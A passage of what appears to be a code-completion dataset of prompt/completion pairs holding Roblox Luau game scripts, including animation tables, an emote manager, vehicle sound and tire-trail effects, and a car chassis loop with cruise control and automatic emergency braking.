\"http://www.roblox.com/asset/?id=182436842\", weight = 10 }, \n{ id = \"http://www.roblox.com/asset/?id=182491248\", weight = 10 }, \n{ id = \"http://www.roblox.com/asset/?id=182491277\", weight = 10 } \n},\ndance3 = {\n{ id = \"http://www.roblox.com/asset/?id=182436935\", weight = 10 }, \n{ id = \"http://www.roblox.com/asset/?id=182491368\", weight = 10 }, \n{ id = \"http://www.roblox.com/asset/?id=182491423\", weight = 10 } \n},\nlaugh = {\n{ id = \"http://www.roblox.com/asset/?id=129423131\", weight = 10 } \n},\ncheer = {\n{ id = \"http://www.roblox.com/asset/?id=129423030\", weight = 10 } \n},\n}\nlocal dances = {\"dance1\", \"dance2\", \"dance3\"}\n"} +{"prompt": "function onJumpin", "completion": "g()\n\n\n\tisSeated = false\n\n\n\tpose = \"Jumping\"\n\n\nend\n"} +{"prompt": "-- loop", "completion": "\n\nwhile true do\n\twait(0.1)\n\tif tick() - lastDamage > 15 then\n\t\tARMOR.Value\t= math.min(ARMOR.Value + 1, SLOTS.Value * SLOT_SIZE)\n\tend\nend\n"} +{"prompt": "-- Handles behaviours", "completion": "\nlocal function characterTouchedBrick(partTouched)\n\tlocal behaviours = partTouched:FindFirstChild(\"Behaviours\")\n\tif behaviours ~= nil then\n\t\tbehaviours = behaviours:GetChildren()\n\t\tfor i = 1, #behaviours do\n\t\t\tif behaviours[i].Value == true then\n\t\t\t\tgame.ReplicatedStorage.RemoteEvents.ExecuteBehaviour:FireServer(player.Character, partTouched, behaviours[i].Name)\n\t\t\tend\n\t\tend\n\tend\nend\n\nfunction characterAdded(newCharacter)\n\tlocal humanoid = newCharacter:WaitForChild(\"Humanoid\")\n\thumanoid.WalkSpeed = 0\n\thumanoid.Touched:connect(characterTouchedBrick)\n\n\tlocal splashScreen = player.PlayerGui:WaitForChild(\"StartScreen\")\n\n\tif UserInputService.TouchEnabled == false then\n\t\tif UserInputService.GamepadEnabled then\n\t\t\tsplashScreen.StartInstructions.StartLabel.Text = \"Press Space or Gamepad A Button to Start\"\n\t\telse\n\t\t\tsplashScreen.StartInstructions.StartLabel.Text = \"Press Space to Start\"\n\t\tend\n\n\tend\n\tif reviving == true then\n\t\treviving = false\n\t\tsplashScreen:Destroy()\n\t\thumanoid.WalkSpeed = characterWalkSpeed\n\tend\n\n\thumanoid.WalkSpeed = 0\nend\nplayer.CharacterAdded:connect(characterAdded)\n\nif player.Character then\n\tcharacterAdded(player.Character)\nend\n\nfunction checkReviving(addedGui)\n\tif addedGui.Name == \"RevivingGUI\" then\n\t\treviving = true\n\tend\nend\nplayer.PlayerGui.ChildAdded:connect(checkReviving)\n\nif UserInputService.TouchEnabled then\n\tUserInputService.ModalEnabled = true\n\tUserInputService.TouchStarted:connect(function(inputObject, gameProcessedEvent) if gameProcessedEvent == false then doJump = true end end)\n\tUserInputService.TouchEnded:connect(function() doJump = false end)\nelse\n\tContextActionService:BindAction(\"Jump\", function(action, userInputState, inputObject) doJump = (userInputState == Enum.UserInputState.Begin) end, false, Enum.KeyCode.Space, Enum.KeyCode.ButtonA)\nend\n\ngame:GetService(\"RunService\").RenderStepped:connect(function()\n\tif player.Character ~= nil then\n\t\tif player.Character:FindFirstChild(\"Humanoid\") then\n\t\t\tif doJump == true then\n\t\t\t\tjump()\n\t\t\tend\n\t\t\tplayer.Character.Humanoid:Move(Vector3.new(0,0,-1), false)\n\t\tend\n\tend\nend)\n"} +{"prompt": "-- Roact", "completion": "\nlocal new = Roact.createElement\nlocal ToolList = require(script:WaitForChild('ToolList'))\nlocal SelectionPane = require(script:WaitForChild('SelectionPane'))\nlocal AboutPane = require(script:WaitForChild('AboutPane'))\n"} +{"prompt": "--[[\n\tThis LocalScript is designed to simply listen for errors,\n\t then report them back to the server so that the ErrorReporter can handle them.\n]]", "completion": "\n"} +{"prompt": "--Make New Model For Rays If Enabled", "completion": "\nif makeRays then\n\tm = Instance.new(\"Model\");\n\tm.Name = \"Rays\";\n\tm.Parent = workspace;\nend\n"} +{"prompt": "-- Now we set the caster values.", "completion": "\nlocal Caster = FastCast.new() --Create a new caster object.\n"} +{"prompt": "--[[\n\tSets up the EmoteManager for the given player.\n]]", "completion": "\nlocal function setupEmoteManager(player)\n\tlocal humanoid = player.Character:WaitForChild(\"Humanoid\")\n\tlocal humanoidDescription = humanoid:WaitForChild(\"HumanoidDescription\")\n\temoteManager:setup(player, humanoidDescription)\n\n\tlocal connection\n\tconnection = humanoid.Died:Connect(function()\n\t\tstopEmote(player)\n\t\tplayer.CharacterAdded:Wait()\n\t\tsetupEmoteManager(player)\n\t\tconnection:Disconnect()\n\tend)\nend\n\nlocal function onPlayerAdded(player)\n\tif not player.Character then\n\t\tplayer.CharacterAdded:Wait()\n\tend\n\tloadEmoteAssets()\n\tsetupEmoteManager(player)\nend\n\nlocal function onPlayerRemoving(player)\n\tstopEmote(player)\n\n\temoteManager:cleanup(player.UserId)\nend\n\nlocal function onChangeEmoteLock(player, emoteName, isLocked)\n\tassert(onChangeEmoteLockCheck(emoteName, isLocked))\n\n\temoteManager:setEmoteIsLockedForPlayer(player, emoteName, isLocked)\nend\n\nemotePlayed.OnServerEvent:Connect(startEmote)\nemoteStopped.OnServerEvent:Connect(stopEmote)\nchangeEmoteLock.OnServerEvent:Connect(onChangeEmoteLock)\n\nPlayers.PlayerAdded:Connect(onPlayerAdded)\nPlayers.PlayerRemoving:Connect(onPlayerRemoving)\n\nloadEmoteAssets()\n"} +{"prompt": "-- This parameter determines how long the effects heartbeat loop keeps running after the driver exits", "completion": "\nlocal EFFECTS_GRACE_PERIOD = 0.5\n\n\nlocal Effects = {}\nEffects.__index = Effects\n\nfunction Effects.new(chassis, effectsFolder, topModel)\n\tlocal self = setmetatable({},Effects)\n\n\tself.ignore = topModel\n\n\tself.base = chassis:FindFirstChild(\"FloorPanel\")\n\tself.attachmentContainer = self.base\n\n\tlocal suspensions = {}\n\ttable.insert(suspensions, chassis:FindFirstChild(\"SuspensionFL\"))\n\ttable.insert(suspensions, chassis:FindFirstChild(\"SuspensionFR\"))\n\ttable.insert(suspensions, chassis:FindFirstChild(\"SuspensionRL\"))\n\ttable.insert(suspensions, chassis:FindFirstChild(\"SuspensionRR\"))\n\n\n\tlocal function createWheelData(wheelPart)\n\t\tlocal attCenter = Instance.new(\"Attachment\")\n\t\tattCenter.Name = \"EffectsCenter\"\n\t\tattCenter.Parent = self.attachmentContainer\n\n\t\tlocal attRight = Instance.new(\"Attachment\")\n\t\tattRight.Name = \"EffectsR\"\n\t\tattRight.Parent = self.attachmentContainer\n\n\t\tlocal attLeft = Instance.new(\"Attachment\")\n\t\tattLeft.Name = \"EffectsL\"\n\t\tattLeft.Parent = self.attachmentContainer\n\n\t\tlocal trail = nil\n\t\tlocal trailPrototype = effectsFolder:FindFirstChild(\"TireTrail\")\n\t\tif trailPrototype and trailPrototype:IsA(\"Trail\") then\n\t\t\ttrail = trailPrototype:Clone()\n\t\t\ttrail.Parent = self.attachmentContainer\n\t\t\ttrail.Attachment0 = attLeft\n\t\t\ttrail.Attachment1 = attRight\n\t\tend\n\t\t\n\t\tlocal wheelData = {\n\t\t\twheel = wheelPart,\n\t\t\tattCenter = attCenter,\n\t\t\tattRight = attRight,\n\t\t\tattLeft = attLeft,\n\t\t\ttrail = trail,\n\t\t\tlastContact = 0,\n\t\t}\n\t\t\n\t\treturn wheelData\n\tend\n\n\tself.wheels = {}\n\tfor _, suspension in ipairs(suspensions) do\n\t\tlocal wheelPart = suspension:FindFirstChild(\"Wheel\")\n\t\tif wheelPart then\n\t\t\ttable.insert(self.wheels, createWheelData(wheelPart))\n\t\tend\n\tend\n\t\n\tif #self.wheels == 0 then -- probably two-wheeler\n\t\tlocal children = chassis:GetChildren()\n\t\tfor i = 1, #children do\n\t\t\tif children[i].Name == \"Wheel\" then\n\t\t\t\ttable.insert(self.wheels, createWheelData(children[i]))\n\t\t\tend\n\t\tend\n\tend\n\n\tlocal engineSound = effectsFolder:FindFirstChild(\"Engine\")\n\tif engineSound then\n\t\tself.engineSound = engineSound:Clone()\n\t\tself.engineSound.Parent = chassis.PrimaryPart\n\t\tself.engineSoundBaseVolume = engineSound.Volume\n\tend\n\t\n\tlocal idleSound = effectsFolder:FindFirstChild(\"Idle\")\n\tif idleSound then\n\t\tself.idleSound = idleSound:Clone()\n\t\tself.idleSound.Parent = chassis.PrimaryPart\n\t\tself.idleSoundBaseVolume = idleSound.Volume\n\tend\n\t\n\tlocal ignitionSound = effectsFolder:FindFirstChild(\"EngineStart\")\n\tif ignitionSound then\n\t\tself.ignitionSound = ignitionSound:Clone()\n\t\tself.ignitionSound.Parent = chassis.PrimaryPart\n\tend\n\t\n\tlocal stopSound = effectsFolder:FindFirstChild(\"EngineStop\")\n\tif stopSound then\n\t\tself.stopSound = stopSound:Clone()\n\t\tself.stopSound.Parent = chassis.PrimaryPart\n\tend\n\t\n\tself.igniting = false\n\tself.throttle = 0\n\tself.slideSpeed = 0\n\tself.gear = 1\n\tself.disableTime = 0\n\tself.active = false\n\n\treturn self\nend\n\nfunction Effects:Enable()\n\tprint(\"Effects script enabled on\", RunService:IsClient() and \"Client\" or \"Server\")\n\tself.active = true\n\tif #self.wheels > 0 then\n\t\tself.disableTime = 0\n\t\tif self.heartbeatConn then\n\t\t\tself.heartbeatConn:Disconnect()\n\t\tend\n\t\tself.heartbeatConn = RunService.Heartbeat:Connect(function(dt)\n\t\t\tself:OnHeartbeat(dt)\n\t\tend)\n\t\t\n\t\tif self.ignitionSound and not self.igniting then\n\t\t\tself.igniting = true\n\t\t\tcoroutine.wrap(function()\n\t\t\t\tif EngineSoundEnabled then\n\t\t\t\t\tself.ignitionSound:Play()\n\t\t\t\t\tself.ignitionSound.Ended:Wait()\n\t\t\t\t\tif self.active then\n\t\t\t\t\t\tself.idleSound:Play()\n\t\t\t\t\t\tself.engineSound:Play()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tself.igniting = false\n\t\t\tend)()\n\t\tend\n\tend\nend\n\nfunction Effects:DisableInternal()\n\tself.active = false\n\tif self.heartbeatConn then\n\t\tself.heartbeatConn:Disconnect()\n\tend\n\tself.heartbeatConn = nil\n\n\t-- Disable sounds\n\tif self.engineSound then self.engineSound:Stop() end\n\tif self.idleSound then self.idleSound:Stop() end\n\tif self.stopSound then self.stopSound:Play() end\n\n\tif #self.wheels > 0 then\n\t\t\n\t\tfor _,wheelData in ipairs(self.wheels) do\n\t\t\twheelData.trail.Enabled = false\n\t\tend\n\tend\n\n\tself.disableTime = 0\nend\n\nfunction Effects:Disable()\n\t-- Request effects to be disabled soon (upon driver exiting vehicle)\n\tif self.disableTime == 0 then\n\t\tself.disableTime = tick() + EFFECTS_GRACE_PERIOD\n\tend\nend\n\nlocal function GearRatio(num)\n\treturn 0.014 * (32/Workspace.Gravity)^0.5 / (0.2 * num + 0.08)\nend\n\nlocal function getEngineSpeed(self, dt)\n\treturn math.abs(self.base.CFrame:vectorToObjectSpace(self.base.Velocity).Z)\nend\n\nfunction Effects:OnHeartbeat(dt)\n\tif self.disableTime > 0 and tick() > self.disableTime then\n\t\tself:DisableInternal()\n\t\treturn\n\tend\n\t\n\tif TireTrailEnabled then\n\t\tfor _, wheelData in ipairs(self.wheels) do\n\t\t\t\n\t\t\tlocal wheel = wheelData.wheel\n\t\t\t\n\t\t\t-- This 'sort-of' calculates whether the wheel is grounded.\n\t\t\tfor _, basePart in ipairs(wheel:GetTouchingParts()) do\n\t\t\t\tif not basePart:IsDescendantOf(self.ignore) then\n\t\t\t\t\twheelData.lastContact = tick()\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif tick() - wheelData.lastContact <= SLIDE_DEBOUNCE then\n\n\t\t\t\tlocal radius = wheel.Size.Y / 2\n\t\t\t\tlocal width = wheel.Size.X / 2\n\t\t\t\t\n\t\t\t\tlocal wheelLeftCFrame = wheel.CFrame * CFrame.new(width, 0, 0) - Vector3.new(0, radius - SLIDE_MARK_OFFSET, 0)\n\t\t\t\tlocal wheelRightCFrame = wheel.CFrame * CFrame.new(-width, 0, 0) - Vector3.new(0, radius - SLIDE_MARK_OFFSET, 0)\n\t\t\t\t\n\t\t\t\twheelData.attRight.WorldPosition = wheelRightCFrame.p\n\t\t\t\twheelData.attLeft.WorldPosition = wheelLeftCFrame.p\n\t\t\t\t\n\t\t\t\t-- RotationalVelocity: Speed at the edge of the wheel from it rotating\n\t\t\t\t-- HorizontalVelocity: Speed the wheel is actually moving at\n\t\t\t\t-- SlideSpeed: The speed at which the wheel is sliding relative to its rotational velocity\n\t\t\t\tlocal rotationalVelocity = radius * (self.base.CFrame:VectorToObjectSpace(wheel.RotVelocity)).X\n\t\t\t\tlocal horizontalVelocity = self.base.CFrame:VectorToObjectSpace(wheel.Velocity).Z\n\t\t\t\tlocal slideSpeed = math.abs(rotationalVelocity - horizontalVelocity)\n\t\t\t\t\n\t\t\t\tlocal slipValue = slideSpeed / math.abs(rotationalVelocity)\n\t\t\t\tlocal sliding = slipValue >= SLIDE_THRESHOLD\n\n\t\t\t\twheelData.trail.Enabled = sliding\n\n\t\t\telse\n\t\t\t\twheelData.trail.Enabled = false\n\t\t\tend\n\t\t\t\n\t\tend\n\tend\n\n\t--Engine Sounds\n\tif EngineSoundEnabled and not self.igniting then\n\t\tif self.engineSound then\n\t\n\t\t\tlocal engineSpeed = getEngineSpeed(self, dt)\n\t\t\tlocal rawPitch = engineSpeed * GearRatio(self.gear + PITCH_GEAR_MODIFIER)\n\t\t\tif rawPitch > PITCH_SHIFT_UP then\n\t\t\t\tself.gear = self.gear + 1\n\t\t\telseif rawPitch < PITCH_SHIFT_DOWN and self.gear > 1 then\n\t\t\t\tself.gear = self.gear - 1\n\t\t\tend\n\t\t\t\n\t\t\tlocal targetPitch = rawPitch * PITCH_MODIFIER\n\t\t\tlocal pitchMaxDelta = PITCH_MAX_DELTA * dt\n\t\t\tlocal pitch = self.engineSound.PlaybackSpeed + math.clamp(targetPitch - self.engineSound.PlaybackSpeed, -pitchMaxDelta, pitchMaxDelta)\n\t\t\tlocal engineVolume = math.min(targetPitch >= 0.6 and 1 or targetPitch / 0.6, 1)\n\t\t\t\n\t\t\tself.engineSound.PlaybackSpeed = math.max(pitch, 0.5)\n\t\t\tself.engineSound.Volume = self.engineSoundBaseVolume * engineVolume\n\t\t\tself.idleSound.Volume = self.idleSoundBaseVolume * (1 - engineVolume)\n\t\t\t\n\t\tend\n\tend\n\nend\n\nreturn Effects\n"} +{"prompt": "--!strict", "completion": "\nlocal proxy = require(script.Parent.proxy)\nlocal strtod = require(script.Parent.strtod)\nlocal DecimalToDoubleConverter = { }\n"} +{"prompt": "-- ModuleScripts", "completion": "\nlocal WaypointPath = require(script.WaypointPath)\n\n"} +{"prompt": "--EFFECT", "completion": "\nprint(\"Worked\")\nsizey = 0\nfor i = 1, 50 do\nsizey = sizey + 20\nscript.Parent.Size = Vector3.new(10,sizey,10)\nwait(.0005)\nend\nscript.Parent.BrickColor = BrickColor.new(\"New Yeller\")\nwait(1)\ntrans = 0\nfor i = 1, 50 do\ntrans = trans - 0.05\nscript.Parent.Transparency = script.Parent.Transparency - trans\nwait(.5)\nend\nscript.Parent:Destroy()\n"} +{"prompt": "--[[Run]]", "completion": "\n\n\t--Print Version\n\tlocal ver=require(car[\"A-Chassis Tune\"].README)\n\tprint(\"//INSPARE: AC6 Loaded - Build \"..ver)\n\t\n\t--Runtime Loops\n\t\n\t-- ~60 c/s\n\tgame[\"Run Service\"].Stepped:connect(function()\n\t\t--Steering\n\t\tSteering()\n\t\t\n\t\t--RPM\n\t\tRPM()\n\t\t\n\t\t--Power\n\t\tEngine()\n\t\t\n\t\t--Update External Values\n\t\t_IsOn = script.Parent.IsOn.Value\n\t\t_InControls = script.Parent.ControlsOpen.Value\n\t\tscript.Parent.Values.Gear.Value = _CGear\n\t\tscript.Parent.Values.RPM.Value = _RPM\n\t\tscript.Parent.Values.Horsepower.Value = _HP\n\t\tscript.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM\n\t\tscript.Parent.Values.TransmissionMode.Value = _TMode\n\t\tscript.Parent.Values.Throttle.Value = _GThrot\n\t\tscript.Parent.Values.Brake.Value = _GBrake\n\t\tscript.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100)))\n\t\tscript.Parent.Values.SteerT.Value = _GSteerT\n\t\tscript.Parent.Values.PBrake.Value = _PBrake\n\t\tscript.Parent.Values.TCS.Value = _TCS\n\t\tscript.Parent.Values.TCSActive.Value = _TCSActive\n\t\tscript.Parent.Values.ABS.Value = _ABS\n\t\tscript.Parent.Values.ABSActive.Value = _ABSActive\n\t\tscript.Parent.Values.MouseSteerOn.Value = _MSteer\n\t\tscript.Parent.Values.Velocity.Value = car.DriveSeat.Velocity\n\tend)\n\t--Bertox part\n\tlocal UNITS\t= {{units = \"MPH\" ,scaling = (10/12) * (60/88) ,maxSpeed = 230,spInc = 20,}}\n\tlocal busyPart = nil\n\tlocal busyPart2 = nil\n\tlocal SpeedDistance = 0\n\tlocal AEBActive = false\n\tlocal BSMLeft = false\n\tlocal BSMRight = false\n\tlocal AEBBrake = 0\n\tlocal AEBFull = false\n\tlocal ACCEnabled = false\n\tlocal ACCOriginalSpeed = 75\n\tlocal ACCSpeed = ACCOriginalSpeed\n\tlocal ACCStop = false\n\tlocal bsmbusyPart = nil\n\tscript.Parent.CruiseControl.Set.MouseButton1Down:Connect(function()\n\t\tif UNITS[1].scaling*car.DriveSeat.Velocity.Magnitude > 2 then\n\t\t\tACCOriginalSpeed = UNITS[1].scaling*car.DriveSeat.Velocity.Magnitude\n\t\t\tACCEnabled = true\n\t\t\tscript.Parent.CruiseControl.CruiseSpeed.TextColor3 = Color3.fromRGB(255, 85, 0)\n\t\t\tscript.Parent.CruiseControl.Return.ImageColor3 = Color3.fromRGB(255, 85, 0)\n\t\t\tcar.Body.Display.GaugeDisplay.BMWGauges.BMWSystem.SymbolLights.CruiseControl.Visible = true\n\t\t\tcar.Body.Display.GaugeDisplay.BMWGauges.BMWSystem.SymbolLights.CruiseControl2.Visible = true\n\t\t\tscript.Parent.CruiseControl.CruiseSpeed.Text = math.floor(ACCOriginalSpeed)\n\t\tend\n\tend)\n\tscript.Parent.CruiseControl.Res.MouseButton1Down:Connect(function()\n\t\tACCEnabled = true\n\t\tscript.Parent.CruiseControl.CruiseSpeed.Text = math.floor(ACCOriginalSpeed)\n\t\tscript.Parent.CruiseControl.CruiseSpeed.TextColor3 = Color3.fromRGB(255, 85, 0)\n\t\tscript.Parent.CruiseControl.Return.ImageColor3 = Color3.fromRGB(255, 85, 0)\n\t\tcar.Body.Display.GaugeDisplay.BMWGauges.BMWSystem.SymbolLights.CruiseControl.Visible = true\n\t\tcar.Body.Display.GaugeDisplay.BMWGauges.BMWSystem.SymbolLights.CruiseControl2.Visible = true\n\tend)\n\tscript.Parent.CruiseControl.Up.MouseButton1Down:Connect(function()\n\t\tACCOriginalSpeed = ACCOriginalSpeed + 1\n\t\tscript.Parent.CruiseControl.CruiseSpeed.Text = math.floor(ACCOriginalSpeed)\n\tend)\n\tscript.Parent.CruiseControl.Return.MouseButton1Down:Connect(function()\n\t\tif ACCEnabled == true then\n\t\t\tACCEnabled = false\n\t\t\t_GThrot = 0\n\t\t\tscript.Parent.CruiseControl.CruiseSpeed.Text = math.floor(ACCOriginalSpeed)\n\t\t\tif (ACCStop == true or ACCEasyBrake == true) then\n\t\t\t\tACCStop = false\n\t\t\t\tACCEasyBrake = false\n\t\t\t\t_GBrake = 0\n\t\t\tend\n\t\t\tscript.Parent.CruiseControl.CruiseSpeed.TextColor3 = Color3.fromRGB(255,255,255)\n\t\t\tscript.Parent.CruiseControl.Return.ImageColor3 = Color3.fromRGB(255,255,255)\n\t\t\tcar.Body.Display.GaugeDisplay.BMWGauges.BMWSystem.SymbolLights.CruiseControl.Visible = false\n\t\t\tcar.Body.Display.GaugeDisplay.BMWGauges.BMWSystem.SymbolLights.CruiseControl2.Visible = false\n\t\t\t\n\t\telse\n\t\t\tACCEnabled = true\n\t\t\tscript.Parent.CruiseControl.CruiseSpeed.Text = math.floor(ACCOriginalSpeed)\n\t\t\tscript.Parent.CruiseControl.CruiseSpeed.TextColor3 = Color3.fromRGB(255, 85, 0)\n\t\t\tscript.Parent.CruiseControl.Return.ImageColor3 = Color3.fromRGB(255, 85, 0)\n\t\t\tcar.Body.Display.GaugeDisplay.BMWGauges.BMWSystem.SymbolLights.CruiseControl.Visible = true\n\t\t\tcar.Body.Display.GaugeDisplay.BMWGauges.BMWSystem.SymbolLights.CruiseControl2.Visible = true\n\t\tend\n\tend)\n\tscript.Parent.CruiseControl.Down.MouseButton1Down:Connect(function()\n\t\tACCOriginalSpeed = ACCOriginalSpeed - 1\n\t\tscript.Parent.CruiseControl.CruiseSpeed.Text = math.floor(ACCOriginalSpeed)\n\t\tif ACCOriginalSpeed <= 2 then\n\t\t\tACCEnabled = false\n\t\t\t_GThrot = 0\n\t\t\tif (ACCStop == true or ACCEasyBrake == true) then\n\t\t\t\tACCStop = false\n\t\t\t\tACCEasyBrake = false\n\t\t\t\t_GBrake = 0\n\t\t\tend\n\t\t\tscript.Parent.CruiseControl.CruiseSpeed.TextColor3 = Color3.fromRGB(255,255,255)\n\t\t\tscript.Parent.CruiseControl.Return.ImageColor3 = Color3.fromRGB(255,255,255)\n\t\t\tcar.Body.Display.GaugeDisplay.BMWGauges.BMWSystem.SymbolLights.CruiseControl.Visible = false\n\t\t\tcar.Body.Display.GaugeDisplay.BMWGauges.BMWSystem.SymbolLights.CruiseControl2.Visible = false\n\t\tend\n\tend)\n\t--Bertox part end\n\t-- ~15 c/s\n\t\n\twhile wait(.0667) do\n\t\t--Flip\n\t\tif _Tune.AutoFlip then Flip() end\n\t\t\n\t\t--[[Bertox'Scripts begins here]]\n\t\t\n\t \t --AEB\n\t\tif _GBrake > 0 and AEBBrake == 0 and ACCStop == false and ACCEasyBrake == false and AEBFull == false and AEBActive == false then\n\t\t\tACCEnabled = false\n\t\t\t_GThrot = 0\n\t\t\tif ACCStop == true then\n\t\t\t\tACCStop = false\n\t\t\t\t_GBrake = 0\n\t\t\tend\n\t\t\tcar.Body.Display.GaugeDisplay.BMWGauges.BMWSystem.SymbolLights.CruiseControl.Visible = false\n\t\t\tcar.Body.Display.GaugeDisplay.BMWGauges.BMWSystem.SymbolLights.CruiseControl2.Visible = false\n\t\t\tscript.Parent.CruiseControl.CruiseSpeed.TextColor3 = Color3.fromRGB(255,255,255)\n\t\t\tscript.Parent.CruiseControl.Return.ImageColor3 = Color3.fromRGB(255,255,255)\n\t\tend\n\t\tbusyPart = nil\n\t\tbusyPart2 = nil\n\t\tbsmbusyPart = nil\n\t\tspeed = UNITS[1].scaling*car.DriveSeat.Velocity.Magnitude\n\t\tfor i,v in pairs(car.Body.Rays:GetChildren()) do\n\t\t\tif speed > 40 then\n\t\t\t\tray = Ray.new(v.Position, v.CFrame.lookVector*(speed*speed+speed)/40)\n\t\t\telseif speed <= 40 then\n\t\t\t\tray = Ray.new(v.Position, v.CFrame.lookVector*(speed*speed+speed )/30)\n\t\t\tend\n\t\t\tlocal part, endPoint = workspace:FindPartOnRayWithIgnoreList(ray,{car.Body,car.Wheels,car.Misc})\n\t\t\tif part then\n\t\t\t\tif part.Anchored == false then\n\t\t\t\t\tbusyPart = part\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tif busyPart and speed > 3 and (speed < 60 or ACCEnabled == true) and _GSteerT == 0 and _CGear > 0 and car.DriveSeat.Values.AEBisOn.Value == true and car.Electrics.Value == true then\n\t\t\t--print(\"BLOCKING PART: \" ,busyPart.Name, \" DISTANCE: \" , math.floor((busyPart.Position - car.DriveSeat.Position).Magnitude), \" CAR SPEED: \", math.floor(speed), \" - \", math.floor((busyPart.Position - car.DriveSeat.Position).Magnitude-speed))\n\t\t\t_GBrake = 1\n\t\t\tcar.SafetySystems:FireServer(\"AEB\",true)\n\t\t\t_GThrot = 0\n\t\t\tAEBActive = true\n\t\t\tif ACCEnabled == false then\n\t\t\t\tif AEBBrake == 0 then\n\t\t\t\t\tscript.AssistantAlarm:Play()\n\t\t\t\t\tcar.Body.Display.GaugeDisplay.BMWGauges.BMWSystem.SymbolLights.BRAKE.Visible = true\n\t\t\t\t\tscript.Parent.AC6_Stock_Gauges.EBrake.Visible = true\n\t\t\t\tend\n\t\t\tend\n\t\t\tAEBBrake = 1\n\t\t\tif busyPart.Velocity.Magnitude <= 3 then\n\t\t\t\tAEBFull = true\n\t\t\telseif ACCEnabled == true then\n\t\t\t\tTargetSpeed = UNITS[1].scaling*busyPart.Velocity.Magnitude\n\t\t\t\tACCSpeed = TargetSpeed\n\t\t\tend\n\t\telseif AEBActive == true then\n\t\t\tAEBActive = false\n\t\telseif AEBActive == false and AEBBrake == 1 then\n\t\t\tAEBBrake = 2\n\t\telseif AEBActive == false and AEBBrake == 2 and AEBFull == false then\n\t\t\tAEBBrake = 0\n\t\t\tcar.SafetySystems:FireServer(\"AEB\",false)\n\t\t\tscript.Parent.AC6_Stock_Gauges.EBrake.Visible = false\n\t\t\tcar.Body.Display.GaugeDisplay.BMWGauges.BMWSystem.SymbolLights.BRAKE.Visible = false\n\t\t\t_GBrake = 0\n\t\telseif AEBFull == true and speed <= 0.1 then\n\t\t\tAEBFull = false\n\t\t\t_GBrake = 0\n\t\telseif ACCEnabled == true then\n\t\t\tif speed < ACCSpeed-5 and ACCStop == false and AEBBrake == 0 then\n\t\t\t\t_GThrot = 1\n\t\t\t\t_GBrake = 0\n\t\t\t\tACCEasyBrake = false\n\t\t\telseif speed < ACCSpeed and ACCStop == false and AEBBrake == 0 then\n\t\t\t\t_GThrot = 0.3\n\t\t\t\t_GBrake = 0\n\t\t\t\tACCEasyBrake = false\n\t\t\telseif speed > ACCSpeed+5 and ACCStop == false and AEBBrake == 0 then\n\t\t\t\t_GThrot = 0\n\t\t\t\t_GBrake = 1\n\t\t\t\tACCEasyBrake = true\n\t\t\telseif speed > ACCSpeed+3 and ACCStop == false and AEBBrake == 0 then\n\t\t\t\t_GThrot = 0\n\t\t\t\t_GBrake = 0.4\n\t\t\t\tACCEasyBrake = true\n\t\t\telseif speed > ACCSpeed+2 and ACCStop == false and AEBBrake == 0 then\n\t\t\t\t_GThrot = 0\n\t\t\t\t_GBrake = 0.1\n\t\t\t\tACCEasyBrake = true\n\t\t\telseif ACCStop == false and AEBBrake == 0 then\n\t\t\t\t_GThrot = 0.08\n\t\t\t\t_GBrake = 0\n\t\t\t\tACCEasyBrake = false\n\t\t\tend\n\t\t\tif AEBBrake == 0 then\n\t\t\t\tif ACCStop == false and car.DriveSeat.Values.AEBisOn.Value == true then\n\t\t\t\t\tfor i,v in pairs(car.Body.Rays:GetChildren()) do\n\t\t\t\t\t\tif speed > 40 then\n\t\t\t\t\t\t\tray = Ray.new(v.Position, v.CFrame.lookVector*(speed*speed+speed)/25)\n\t\t\t\t\t\telseif speed <= 40 then\n\t\t\t\t\t\t\tray = Ray.new(v.Position, v.CFrame.lookVector*(speed*speed+speed )/10)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tlocal part, endPoint = workspace:FindPartOnRayWithIgnoreList(ray,{car.Body,car.Wheels,car.Misc})\n\t\t\t\t\t\tif part then\n\t\t\t\t\t\t\tif part.Anchored == false then\n\t\t\t\t\t\t\t\tbusyPart2 = part\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tfor i,v in pairs(car.Body.Rays:GetChildren()) do\n\t\t\t\t\t\tray = Ray.new(v.Position, v.CFrame.lookVector*20)\n\t\t\t\t\t\tlocal part, endPoint = workspace:FindPartOnRayWithIgnoreList(ray,{car.Body,car.Wheels,car.Misc})\n\t\t\t\t\t\tif part then\n\t\t\t\t\t\t\tif part.Anchored == false and part.Anchored == true then\n\t\t\t\t\t\t\t\tbusyPart2 = part\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif busyPart2 == nil then\n\t\t\t\t\tACCSpeed = ACCOriginalSpeed\n\t\t\t\t\tif ACCEasyBrake == false then\n\t\t\t\t\t\t_GBrake = 0\n\t\t\t\t\tend\n\t\t\t\t\tACCStop = false\n\t\t\t\telseif busyPart2.Velocity.Magnitude < 3 and car.DriveSeat.Values.AEBisOn.Value == true then\n\t\t\t\t\tACCStop = true\n\t\t\t\t\t_GThrot = 1\n\t\t\t\t\t_GBrake = 0\n\t\t\t\t\tACCSpeed = UNITS[1].scaling*busyPart2.Velocity.Magnitude\n\t\t\t\telse\n\t\t\t\t\tACCStop = false\n\t\t\t\t\tACCSpeed = UNITS[1].scaling*busyPart2.Velocity.Magnitude\n\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tend\n\n\t\t--[[Bertox'Scripts ends here]]\n\tend"} +{"prompt": "--[[**\n\tensures Roblox Enum type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.Enum = primitive(\"Enum\")\n"} +{"prompt": "--local PLAYER\t= Players.LocalPlayer", "completion": "\n\nreturn function(character)\n\tfor _, v in pairs(character:GetDescendants()) do\n\t\tif v:IsA(\"BasePart\") then\n\t\t\tlocal bodyForce\t\t= Instance.new(\"BodyForce\")\n\t\t\t\tbodyForce.Force\t\t= Vector3.new(0, v:GetMass() * Workspace.Gravity * 1.05, 0)\n\t\t\t\tbodyForce.Parent\t= v\n\t\t\t\t\t\n\t\t\tif v.Transparency ~= 